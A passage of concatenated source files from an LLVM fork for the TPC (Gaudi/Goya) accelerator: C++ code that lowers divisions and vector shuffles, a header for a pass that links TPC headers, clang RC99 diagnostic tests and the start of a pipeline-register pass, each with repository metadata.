ResultVT, ExtrSubV);\n return Result;\n }\n }\n\n return SDValue();\n}\n\nstatic SDValue performShuffleCombine(SDNode *N, SelectionDAG &DAG,\n TargetLowering::DAGCombinerInfo &DCI,\n const TPCSubtarget *Subtarget) {\n assert(N->getOpcode() == ISD::VECTOR_SHUFFLE);\n LLVM_DEBUG(\n dbgs() << \"Try to combine: \";\n N->dump(&DAG);\n dbgs() << '\\n'\n );\n\n SDLoc DL(N);\n auto *ShuffleVector = cast<ShuffleVectorSDNode>(N);\n SDValue Op1 = N->getOperand(0);\n SDValue Op2 = N->getOperand(1);\n EVT SrcTy = Op1->getValueType(0);\n EVT EltTy = SrcTy.getVectorElementType();\n EVT DestTy = ShuffleVector->getValueType(0);\n ArrayRef<int> Mask = ShuffleVector->getMask();\n unsigned VectorSize = getFullVectorSize(EltTy);\n EVT VectorTy = EVT::getVectorVT(*DAG.getContext(), EltTy, VectorSize);\n\n // Handle constructs where vector_shuffle ignores some subvector of the\n // concatenated value. Try to replace it with shorter vector_shuffle or with\n // another shorter construct to obtain finally concat_vectors where the\n // ignored part is undef.\n //\n // As an example:\n //\n // t18: v128f32 = concat_vectors t17, undef:v64f32\n // t20: v128f32 = vector_shuffle<u, ... 63 more 'u', 0, ... 63 more '0'> t18, undef:v128f32\n //\n // is replaced by\n //\n // t20a = vector_shuffle<0, ... 63 more '0'> t17, undef:v64f32\n // t21a = concat_vectors undef:v64f32, t20a\n\n if (VectorSize * 2 == Mask.size()) {\n ArrayRef<int> HalfMask = getHalfMask(Mask, 0);\n if (isUndefinedMask(HalfMask)) {\n if (Op1.getOpcode() == ISD::CONCAT_VECTORS &&\n Op1.getNumOperands() == 2 &&\n Op2.getOpcode() == ISD::UNDEF) {\n HalfMask = getHalfMask(Mask, 1);\n SDValue NewShuffOp1 = Op1.getOperand(0);\n SDValue NewShuffle = DAG.getVectorShuffle(VectorTy, DL, NewShuffOp1, DAG.getUNDEF(VectorTy), HalfMask);\n return DAG.getNode(ISD::CONCAT_VECTORS, DL, DestTy, DAG.getUNDEF(VectorTy), NewShuffle);\n }\n }\n }\n\n return SDValue();\n}\n\nSDValue TPCTargetLowering::PerformDAGCombine(SDNode *N,\n DAGCombinerInfo &DCI) const {\n SelectionDAG &DAG = DCI.DAG;\n switch (N->getOpcode()) {\n default:\n LLVM_DEBUG(dbgs() << \"Custom combining: skipping\\n\");\n break;\n case ISD::BITCAST:\n return performBitCastCombine(N, DAG, DCI, Subtarget);\n case ISD::VECTOR_SHUFFLE:\n return performShuffleCombine(N, DAG, DCI, Subtarget);\n }\n\n return SDValue();\n}\n\nSDValue TPCTargetLowering::intDivRemHelper(SDValue Op, SelectionDAG &DAG,\n SDLoc &DL, bool Unsigned) const {\n EVT ResTy = Op->getValueType(0);\n\n // TODO: For vector div, leave it unsupported for now. It could be\n // converted to floating point vector and after division, converted\n // back to integer vector.\n if (ResTy.isVector())\n report_fatal_error(\"Vector integer division not supported.\");\n\n assert(Op.getNumOperands() == 2 && \"DIV/REM should have 2 operands.\");\n\n bool IsGen2 = Subtarget->hasGaudiISA(),\n IsGen1 = Subtarget->hasGoyaISA();\n\n unsigned UdivOpcode = 0;\n if (IsGen1)\n UdivOpcode = TPC::UDIV_STEP;\n else if (IsGen2)\n UdivOpcode = TPC::UDIV_4STEP;\n\n unsigned StepWidth = 0;\n if (IsGen1)\n StepWidth = 1;\n else if (IsGen2)\n StepWidth = 4;\n\n unsigned StepX2 = 0;\n if (IsGen1 || IsGen2)\n StepX2 = TPCII::SW_STEP_REG;\n\n unsigned Count = 0, Step = 0, MoveType = 0;\n EVT UdivType;\n\n if (ResTy == MVT::i32) {\n UdivType = MVT::v2i32;\n Step = 31;\n MoveType = TPCII::OpType::UINT32;\n\n if (IsGen1)\n Count = 32;\n else if (IsGen2)\n Count = 8;\n } else if (ResTy == MVT::i16) {\n UdivType = MVT::v2i16;\n Step = 15;\n MoveType = TPCII::OpType::UINT16;\n\n if (IsGen1)\n Count = 16;\n else if (IsGen2)\n Count = 4;\n } else {\n UdivType = MVT::v2i8;\n Step = 7;\n MoveType = TPCII::OpType::UINT8;\n\n if (IsGen1)\n Count = 8;\n else if (IsGen2)\n Count = 2;\n }\n\n // Handle numerator and denominator for signed case.\n SDValue Numerator = Op.getOperand(0), Denominator = Op.getOperand(1);\n\n uint64_t SignMask;\n if (ResTy == MVT::i32)\n SignMask = 1 << 31;\n else if (ResTy == MVT::i16)\n SignMask = 1 << 15;\n else\n SignMask = 1 << 7;\n\n if (!Unsigned) {\n Numerator = DAG.getNode(\n ISD::AND, DL, ResTy,\n {Op.getOperand(0), DAG.getTargetConstant(SignMask, DL, ResTy)});\n Denominator = DAG.getNode(\n ISD::AND, DL, ResTy,\n {Op.getOperand(1), DAG.getTargetConstant(SignMask, DL, ResTy)});\n }\n\n MachineSDNode *Quotient = DAG.getMachineNode(\n TPC::MOVssp, DL, ResTy,\n {Numerator, DAG.getTargetConstant(MoveType, DL, MVT::i8),\n DAG.getTargetConstant(0, DL, MVT::i32), DAG.getUNDEF(ResTy) /*income*/,\n DAG.getRegister(TPC::SP0, MVT::i1) /*Predicate*/,\n DAG.getTargetConstant(0, DL, MVT::i1) /*Polarity*/});\n\n MachineSDNode *Remainder = DAG.getMachineNode(\n TPC::MOVsip, DL, ResTy,\n {DAG.getTargetConstant(0, DL, ResTy),\n DAG.getTargetConstant(MoveType, DL, MVT::i8),\n DAG.getTargetConstant(0, DL, MVT::i32), DAG.getUNDEF(ResTy) /*income*/,\n DAG.getRegister(TPC::SP0, MVT::i1) /*Predicate*/,\n DAG.getTargetConstant(0, DL, MVT::i1) /*Polarity*/});\n\n SDValue ZReg =\n createTuple({SDValue(Quotient, 0), SDValue(Remainder, 0)}, DAG);\n\n // For Gen4 or higher Count is 0\n for (std::size_t i = 0; i < Count; ++i) {\n MachineSDNode *Node = DAG.getMachineNode(\n UdivOpcode, DL, UdivType,\n {Denominator /*Divisor*/,\n DAG.getTargetConstant(Step, DL, ResTy) /*Step*/,\n DAG.getTargetConstant(MoveType, DL, MVT::i8) /*UdivType*/,\n DAG.getTargetConstant(StepX2, DL, MVT::i32) /*Switch*/,\n ZReg /*Quotient/Remainder double reg*/,\n DAG.getRegister(TPC::SP0, MVT::i1) /*Predicate*/,\n DAG.getTargetConstant(0, DL, MVT::i1) /*Polarity*/});\n SDValue NextZReg = SDValue(Node, 0);\n ZReg = NextZReg;\n Step -= StepWidth;\n }\n\n return ZReg;\n}\n\nSDValue TPCTargetLowering::lowerUDIV(SDValue Op, SelectionDAG &DAG) const {\n SDLoc DL(Op);\n EVT ResTy = Op->getValueType(0);\n SDValue ZReg = intDivRemHelper(Op, DAG, DL);\n SDValue SubReg = DAG.getTargetConstant(TPC::sub_s1, DL, MVT::i32);\n MachineSDNode *Node =\n DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, ResTy, ZReg, SubReg);\n return SDValue(Node, 0);\n}\n\nSDValue TPCTargetLowering::lowerUREM(SDValue Op, SelectionDAG &DAG) const {\n SDLoc DL(Op);\n EVT ResTy = Op->getValueType(0);\n SDValue ZReg = intDivRemHelper(Op, DAG, DL);\n SDValue SubReg = DAG.getTargetConstant(TPC::sub_s0, DL, MVT::i32);\n MachineSDNode *Node =\n DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, ResTy, ZReg, SubReg);\n return SDValue(Node, 0);\n}\n\nSDValue TPCTargetLowering::signedIntDivRemHelper(SDValue Op, SelectionDAG &DAG,\n unsigned SubregVal) const {\n SDLoc DL(Op);\n EVT ResTy = Op->getValueType(0);\n\n // TODO: For vector div, leave it unsupported for now. It could be\n // coverted to floating point vector and after division, converted\n // back to integer vector.\n if (ResTy.isVector())\n report_fatal_error(\"Vector integer division not supported.\");\n\n assert(Op.getNumOperands() == 2 && \"DIV/REM should have 2 operands.\");\n\n // Extract the sign bit for the computation. We will restore it back\n // after it goes through udiv_step.\n uint64_t SignMask;\n if (ResTy == MVT::i32)\n SignMask = 1 << 31;\n else if (ResTy == MVT::i16)\n SignMask = 1 << 15;\n else\n SignMask = 1 << 7;\n\n SDValue XorValue =\n DAG.getNode(ISD::XOR, DL, ResTy, {Op.getOperand(0), Op.getOperand(1)});\n SDValue AndValue =\n DAG.getNode(ISD::AND, DL, ResTy,\n {XorValue, DAG.getTargetConstant(SignMask, DL, ResTy)});\n\n SDValue ZReg = intDivRemHelper(Op, DAG, DL, false);\n SDValue SubReg = DAG.getTargetConstant(SubregVal, DL, MVT::i32);\n MachineSDNode *Node =\n DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, ResTy, ZReg, SubReg);\n SDValue OutValue = SDValue(Node, 0);\n SDValue SignedOutput = DAG.getNode(ISD::OR, DL, ResTy, {OutValue, AndValue});\n return SignedOutput;\n}\n\nSDValue TPCTargetLowering::lowerSDIV(SDValue Op, SelectionDAG &DAG) const {\n return signedIntDivRemHelper(Op, DAG, TPC::sub_s1);\n}\n\nSDValue TPCTargetLowering::lowerSREM(SDValue Op, SelectionDAG &DAG) const {\n return signedIntDivRemHelper(Op, DAG, TPC::sub_s0);\n}\n\nSDValue TPCTargetLowering::lowerFDIV(SDValue Op, SelectionDAG &DAG) const {\n SDLoc DL(Op);\n EVT VT = Op->getValueType(0);\n // TODO: Support scalar FDIV in future.\n if (!VT.isVector())\n report_fatal_error(\"FDIV not supported on scalar pipe.\");\n\n SDValue X = Op.getOperand(0);\n SDValue Y = Op.getOperand(1);\n unsigned Type;\n\n if (VT == MVT::v64f32)\n Type = TPCII::OpType::FP32;\n else if (VT == MVT::v128f16)\n Type = TPCII::OpType::FP16;\n else\n Type = TPCII::OpType::BF16;\n\n // Calculate reciprocal of Y using special function.\n MachineSDNode *RecipNode = DAG.getMachineNode(\n TPC::CALC_FP_SPECIALvvm, DL, VT,\n {Y, DAG.getUNDEF(VT) /*src 2*/,\n DAG.getTargetConstant(Type, DL, MVT::i8) /*OpType*/,\n DAG.getTargetConstant(TPCII::SW_RECIP, DL, MVT::i32) /*Func*/,\n DAG.getUNDEF(VT) /*income*/,\n DAG.getRegister(TPC::VP0, MVT::v256i1) /*Predicate*/,\n DAG.getTargetConstant(0, DL, MVT::i1) /*Polarity*/});\n\n return DAG.getNode(ISD::FMUL, DL, VT, X, SDValue(RecipNode, 0));\n}\n\nSDValue TPCTargetLowering::lowerFREM(SDValue Op, SelectionDAG &DAG) const {\n // TODO: Can't be tested until all the underlying ops are supported.\n SDLoc DL(Op);\n EVT VT = Op->getValueType(0);\n // TODO: Support scalar FREM in future.\n if (!VT.isVector())\n report_fatal_error(\"FREM not supported on scalar pipe.\");\n\n SDValue X = Op.getOperand(0);\n SDValue Y = Op.getOperand(1);\n\n SDValue Div = DAG.getNode(ISD::FDIV, DL, VT, X, Y);\n SDValue Floor = DAG.getNode(ISD::FTRUNC, DL, VT, Div);\n SDValue Mul = DAG.getNode(ISD::FMUL, DL, VT, Floor, Y);\n return DAG.getNode(ISD::FSUB, DL, VT, X, Mul);\n}\n\nstatic SDValue expandBinaryOperation(SDValue Op, SelectionDAG &DAG) {\n SDLoc DL(Op);\n EVT ResTy = Op->getValueType(0);\n unsigned Operation = Op.getOpcode();\n EVT SubregTy;\n unsigned Multiplicity;\n if (ResTy == MVT::v128i32) {\n Multiplicity = 2;\n SubregTy = MVT::v64i32;\n } else if (ResTy == MVT::v256i32) {\n Multiplicity = 4;\n SubregTy = MVT::v64i32;\n } else if(ResTy == MVT::v128f32) {\n Multiplicity = 2;\n SubregTy = MVT::v64f32;\n } else if (ResTy == MVT::v256f32) {\n Multiplicity = 4;\n SubregTy = MVT::v64f32;\n } else {\n return SDValue();\n }\n\n SDValue A = Op.getOperand(0);\n SDValue B = Op.getOperand(1);\n\n SDValue SubReg = DAG.getTargetConstant(TPC::sub_0, DL, MVT::i32);\n MachineSDNode *A0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n SubregTy, A, SubReg);\n MachineSDNode *B0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n SubregTy, B, SubReg);\n SDValue Sum0 = DAG.getNode(Operation, DL, A0->getValueType(0),\n SDValue(A0, 0), SDValue(B0, 0));\n\n SubReg = DAG.getTargetConstant(TPC::sub_1, DL, MVT::i32);\n A0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubregTy, A, SubReg);\n B0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubregTy, B, SubReg);\n SDValue Sum1 = DAG.getNode(Operation, DL, A0->getValueType(0),\n SDValue(A0, 0), SDValue(B0, 0));\n\n if (Multiplicity == 2)\n return DAG.getNode(ISD::CONCAT_VECTORS, DL, ResTy, Sum0, Sum1);\n\n SubReg = DAG.getTargetConstant(TPC::sub_2, DL, MVT::i32);\n A0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubregTy, A, SubReg);\n B0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubregTy, B, SubReg);\n SDValue Sum2 = DAG.getNode(Operation, DL, A0->getValueType(0),\n SDValue(A0, 0), SDValue(B0, 0));\n\n SubReg = DAG.getTargetConstant(TPC::sub_3, DL, MVT::i32);\n A0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubregTy, A, SubReg);\n B0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL, SubregTy, B, SubReg);\n SDValue Sum3 = DAG.getNode(Operation, DL, A0->getValueType(0),\n SDValue(A0, 0), SDValue(B0, 0));\n\n return DAG.getNode(ISD::CONCAT_VECTORS, DL, ResTy, Sum0, Sum1, Sum2, Sum3);\n}\n\nSDValue TPCTargetLowering::lowerFADD(SDValue Op, SelectionDAG &DAG) const {\n // TODO: Use ADD.X2 on Gen4\n return expandBinaryOperation(Op, DAG);\n}\n\nSDValue TPCTargetLowering::lowerFSUB(SDValue Op, SelectionDAG &DAG) const {\n return expandBinaryOperation(Op, DAG);\n}\n\nSDValue TPCTargetLowering::lowerADD(SDValue Op, SelectionDAG &DAG) const {\n // TODO: Use ADD.X2 on Gen4\n return expandBinaryOperation(Op, DAG);\n}\n\nSDValue TPCTargetLowering::lowerSUB(SDValue Op, SelectionDAG &DAG) const {\n return expandBinaryOperation(Op, DAG);\n}\n" }, { "alpha_fraction": 0.7276021242141724, "alphanum_fraction": 0.7486824989318848, "avg_line_length": 43, "blob_id": "36102a91cac82a0add45d6d5d7f662bd231f8ef0", "content_id": "7ea389c2de73fc4007740bbe571fbf17510795f2", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3036, "license_type": "permissive", "max_line_length": 80, "num_lines": 69, "path": "/llvm/include/llvm/Transforms/IPO/LinkTPCHeaders.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- LinkTPCHeaders.h - Link TPC Headers ---------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n///\n/// \\file\n/// Links TPC headers like cast_helpers, special function headers etc..\n///\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_TRANSFORMS_IPO_LINKTPCHEADERS_H\n#define LLVM_TRANSFORMS_IPO_LINKTPCHEADERS_H\n\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IR/PassManager.h\"\n\n// List of header files.\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/CosF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ExpF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/LogF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/RSqrtF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReciprocalF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/SinF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/SqrtF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/TanhF32.h\"\n\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/CosBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ExpBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/LogBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/RSqrtBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReciprocalBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/SinBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/SqrtBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/TanhBF16.h\"\n\n// Reduction.\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceAddBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceAddF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceAddI32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMaxBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMaxF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMaxI32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMinBF16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMinF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMulF32.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMaxI16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMaxI8.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMaxU8.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMinI16.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMinI8.h\"\n#include \"llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMinU8.h\"\n\n#include \"llvm/Transforms/IPO/TPCHeaders/Goya/ReciprocalF32.h\"\n\nnamespace llvm {\nstruct LinkTPCHeadersPass : public PassInfoMixin<LinkTPCHeadersPass> {\n PreservedAnalyses run(Module &M, ModuleAnalysisManager &AM);\n};\n\n/// Create a legacy pass manager instance of a pass to link\n/// TPC headers.\nPass *createLinkTPCHeadersLegacyPass();\n} // namespace llvm\n\n#endif // LLVM_TRANSFORMS_IPO_LINKTPCHEADERS_H\n" }, { "alpha_fraction": 0.5446661114692688, "alphanum_fraction": 0.6157848834991455, "avg_line_length": 29.342105865478516, "blob_id": "cf2f3a4bf9b5fb581a61c2c9cfe71f04d1bd1978", "content_id": "e8ec9903c393727b1402d0cbfc6a562bbd87e487", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1153, "license_type": "permissive", "max_line_length": 127, "num_lines": 38, "path": "/clang/test/RC99/subscr.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nint one(int r) {\n return 1;\n}\n\nvoid main(int x, int y, int y2) {\n float64 __local *ptr = (float64 __local *)x;\n\n float res = (*ptr)[0]; // expected-error{{access to elements of type 'float64' (vector of 64 'float' values) is not allowed}}\n (*ptr)[0] = res; // expected-error{{access to elements of type 'float64' (vector of 64 'float' values) is not allowed}}\n\n int64 fff = 0;\n float aaa = fff[2]; // expected-error{{access to elements of type 'int64' (vector of 64 'int' values) is not allowed}}\n fff[2] = aaa; // expected-error{{access to elements of type 'int64' (vector of 64 'int' values) is not allowed}}\n\n int5 __local *ptr2 = (int5 __local *)y;\n int resi = (*ptr2)[0];\n one(fff[2]); // expected-error{{access to elements of type 'int64' (vector of 64 'int' values) is not allowed}}\n\n int64 v1 = y2;\n printf_i(\"I\", v1[2]);\n\n uint64 v2 = y2;\n printf_ui(\"UI\", v2[2]);\n\n short128 v3 = y2;\n printf_s(\"S\", v3[2]);\n\n ushort128 v4 = y2;\n printf_us(\"US\", v4[2]);\n\n char256 v5 = y2;\n printf_c(\"C\", v5[2]);\n\n uchar256 v6 = y2;\n printf_uc(\"UC\", v6[2]);\n}\n" }, { "alpha_fraction": 0.5207641124725342, "alphanum_fraction": 0.6353820562362671, "avg_line_length": 45.30769348144531, "blob_id": "83637f54ddfbe09df04dc64f337e799e407cb12d", "content_id": "4c4a60aefe5d9c6c1d294e9b7f4c3fd1d45dd7b2", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1204, "license_type": "permissive", "max_line_length": 173, "num_lines": 26, "path": "/clang/test/RC99/main/main-22.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -emit-llvm -max-tensors 4 -O1 %s -o - | FileCheck %s\n//\nvoid main(\n tensor t0, tensor t1, tensor t2, \n int arg0, int arg1, int arg2, int arg3, int arg4,\n int arg5, int arg6, int arg7, int arg8, int arg9,\n int arg10, int arg11, int arg12, int arg13, int arg14,\n int arg15, int arg16, int arg17, int arg18, int arg19,\n int arg20, int arg21, int arg22, int arg23, int arg24,\n int arg25, int arg26, int arg27, int arg28, int arg29,\n int arg30, float float34, int arg31\n) {\n int5 offset;\n __global__ float64* ptr1;\n offset[0] = 0;offset[1] = 1;offset[2] = 2;offset[3] = offset[4] = 3;\n ptr1 = a_gen_addr_i(offset, t2);\n *ptr1 = float34;\n int __local *ptr = (int __local *)arg31;\n *ptr = arg30;\n\n}\n// float34 - is extra argument\n// tensor 2 reserved for printf and assigned to \"t2\"\n// tensor 3 used for extra arg\n// CHECK: %{{[0-9]+}} = {{.*}}call i8 addrspace(3)* @llvm.tpc.gen.addr(<5 x i32> zeroinitializer, i8 3, i32 0, i8 addrspace(3)* undef, i1 true, i1 false)\n// CHECK: %{{[0-9]+}} = {{.*}}call i8 addrspace(3)* @llvm.tpc.gen.addr(<5 x i32> <i32 0, i32 1, i32 2, i32 3, i32 3>, i8 2, i32 0, i8 addrspace(3)* undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.6672167181968689, "alphanum_fraction": 0.6782178282737732, "avg_line_length": 31.464284896850586, "blob_id": "6a56f8e3dcb136bc0c630cd895b4eb564dbaffba", "content_id": "5b24a6aa3fef5853461b3bb03981286101bb3896", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1818, "license_type": "permissive", "max_line_length": 111, "num_lines": 56, "path": "/clang/test/RC99/ptr_to_func.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\n//GAUDI-1366\n// XFAIL:*\n\nint sum(int num1, int num2)\n{\n return num1 + num2;\n}\nvoid add(int a, int b)\n{\n int i = a + b;\n}\nvoid subtract(int a, int b)\n{\n int i = a - b;\n}\n\n// A function that receives a pointer to function as parameter\nvoid wrapper(int(*fun)()) // expected-error{{pointers to function are not allowed}}\n{\n\t// <f2p> is a pointer to a function which returns an int and takes two int\n int(*f2p) (int, int); // expected-error{{pointers to function are not allowed}}\n fun();\n\t// fun_ptr_arr is an array of function pointers\n void(*fun_ptr_arr[])(int, int) = { add, subtract }; // expected-error{{pointers to function are not allowed}}\n unsigned int a = 15, b = 10, ch = 0;\n (*fun_ptr_arr[ch])(a, b);\n int i = ((int(*)())(\"\"))(\"\"); // expected-error{{pointers to function are not allowed}}\n}\n// pointer to function as field of structure\ntypedef struct String_Struct* String;\n\nstruct String_Struct\n{\n char* (*get)(const void* self); // expected-error{{pointers to function are not allowed}}\n};\n\n// Direct solution: Function takes a char and returns a pointer to a\n// function which is taking two floats and returns a float. <opCode>\n// specifies which function to return\nint(*GetPtr1(const char opCode))(int, int); // expected-error{{pointers to function are not allowed}}\n\n// pointer to function in typedef\ntypedef int(*myFuncDef)(int, int); // expected-error{{pointers to function are not allowed}}\n\t\t\t\t\t\t\t\t // note that the typedef name is indeed myFuncDef\nmyFuncDef functionFactory(int n) {\n return 0;\n}\n\nvoid test(void *);\nvoid base();\nvoid call_base() {\n void\t*abc = &base; // expected-error{{pointers to function are not allowed}}\n test(&base); // expected-error{{pointers to function are not allowed}}\n}\n" }, { "alpha_fraction": 0.5930232405662537, "alphanum_fraction": 0.6627907156944275, "avg_line_length": 23.428571701049805, "blob_id": "f8f74dbbdc308723f13f4ea26f238d9337e64b0e", "content_id": "7ef48490d0fb83b0c3b0f34ae43d16b84547a2b0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 172, "license_type": "permissive", "max_line_length": 97, "num_lines": 7, "path": "/clang/test/RC99/bfloat16/bf16_cpu-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi -verify -o - %s\n// expected-no-diagnostics\n\n_BFloat16 BF16_zero_01 = 0;\n\nvoid main() {\n}\n\n" }, { "alpha_fraction": 0.5545454621315002, "alphanum_fraction": 0.5604650974273682, "avg_line_length": 26.90560531616211, "blob_id": "7cd1e5bf8cfc0f390275a6ff82698b8528f48438", "content_id": "104ec93a2c9abda8b3fe7b6a3dab4bbd9beb462e", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9460, "license_type": "permissive", "max_line_length": 80, "num_lines": 339, "path": "/llvm/lib/Target/TPC/TPCPipelineRegs.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCPipelineRegs.cpp ---- Pipeline LD/ST on same register -----------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// This pass creates a pipeline based on latency computation.\n//\n// Initial sequence:\n//\n// ld_l_v %V0, 0x4a00, %SP0; ; ; nop\n// nop; ; ; nop\n// nop; ; ; nop\n// nop; ; ; nop\n// nop; ; ; st_l_v %S17, %V0, %SP0\n// ld_l_v %V0, 0x4b00, %SP0; nop; nop; nop\n// nop\n// nop\n// nop\n// nop; nop; nop; st_l_v %S16, %V0, %SP0\n//\n// Optimized sequence:\n//\n// ld_l_v %V0, 0x4a00, %SP0; ; ; nop\n// ld_l_v %V0, 0x4b00, %SP0; nop; nop; nop\n// nop; ; ; nop\n// nop; ; ; nop\n// nop; ; ; st_l_v %S17, %V0, %SP0\n// nop; nop; nop; st_l_v %S16, %V0, %SP0\n//\n// It relies on latency of update to the same register to\n// generate a pipeline.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCRegisterInfo.h\"\n#include \"TPCSubtarget.h\"\n\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/Support/Debug.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"pipeline-regs\"\n\nstatic cl::opt<bool> TPCEnablePipelineRegs(\n \"tpc-enable-pipeline-regs\", cl::Hidden, cl::ZeroOrMore, cl::init(true),\n cl::desc(\"Enable LD/ST pipelining of same register.\"));\n\nnamespace llvm {\nFunctionPass *createTPCPipelineRegs();\nvoid initializeTPCPipelineRegsPass(PassRegistry &);\n} // namespace llvm\n\nstatic const char PassDescription[] = \"Pipeline for same register\";\nstatic const char PassName[] = \"TPCPipelineRegs\";\n\nnamespace {\n\nclass TPCPipelineRegs : public MachineFunctionPass {\n\npublic:\n static char ID;\n StringRef getPassName() const override { return PassDescription; }\n TPCPipelineRegs() : MachineFunctionPass(ID) {\n initializeTPCPipelineRegsPass(*PassRegistry::getPassRegistry());\n }\n bool runOnMachineFunction(MachineFunction &MF) override;\n};\n\n} // end anonymous namespace\n\nchar TPCPipelineRegs::ID = 0;\n\nINITIALIZE_PASS(TPCPipelineRegs, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCPipelineRegs() { return new TPCPipelineRegs(); }\n\n//\n// isFullNopInstr: returns true if MI is a full NOP instruction\n//\nstatic bool isFullNopInstr(const MachineInstr &MI) {\n if (MI.isBundle()) {\n const MachineBasicBlock *MBB = MI.getParent();\n MachineBasicBlock::const_instr_iterator MII = MI.getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr &BMI = *MII;\n if (!isFullNopInstr(BMI)) {\n return false;\n }\n }\n return true;\n } else {\n if (MI.getOpcode() == TPC::NOPv || MI.getOpcode() == TPC::NOPs ||\n MI.getOpcode() == TPC::NOPld || MI.getOpcode() == TPC::NOPst) {\n return true;\n }\n }\n return false;\n}\n\nstatic bool hasLD_L_V(const MachineInstr &MI) {\n if (isFullNopInstr(MI))\n return false;\n\n if (MI.isBundle()) {\n const MachineBasicBlock *MBB = MI.getParent();\n auto MII = MI.getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr 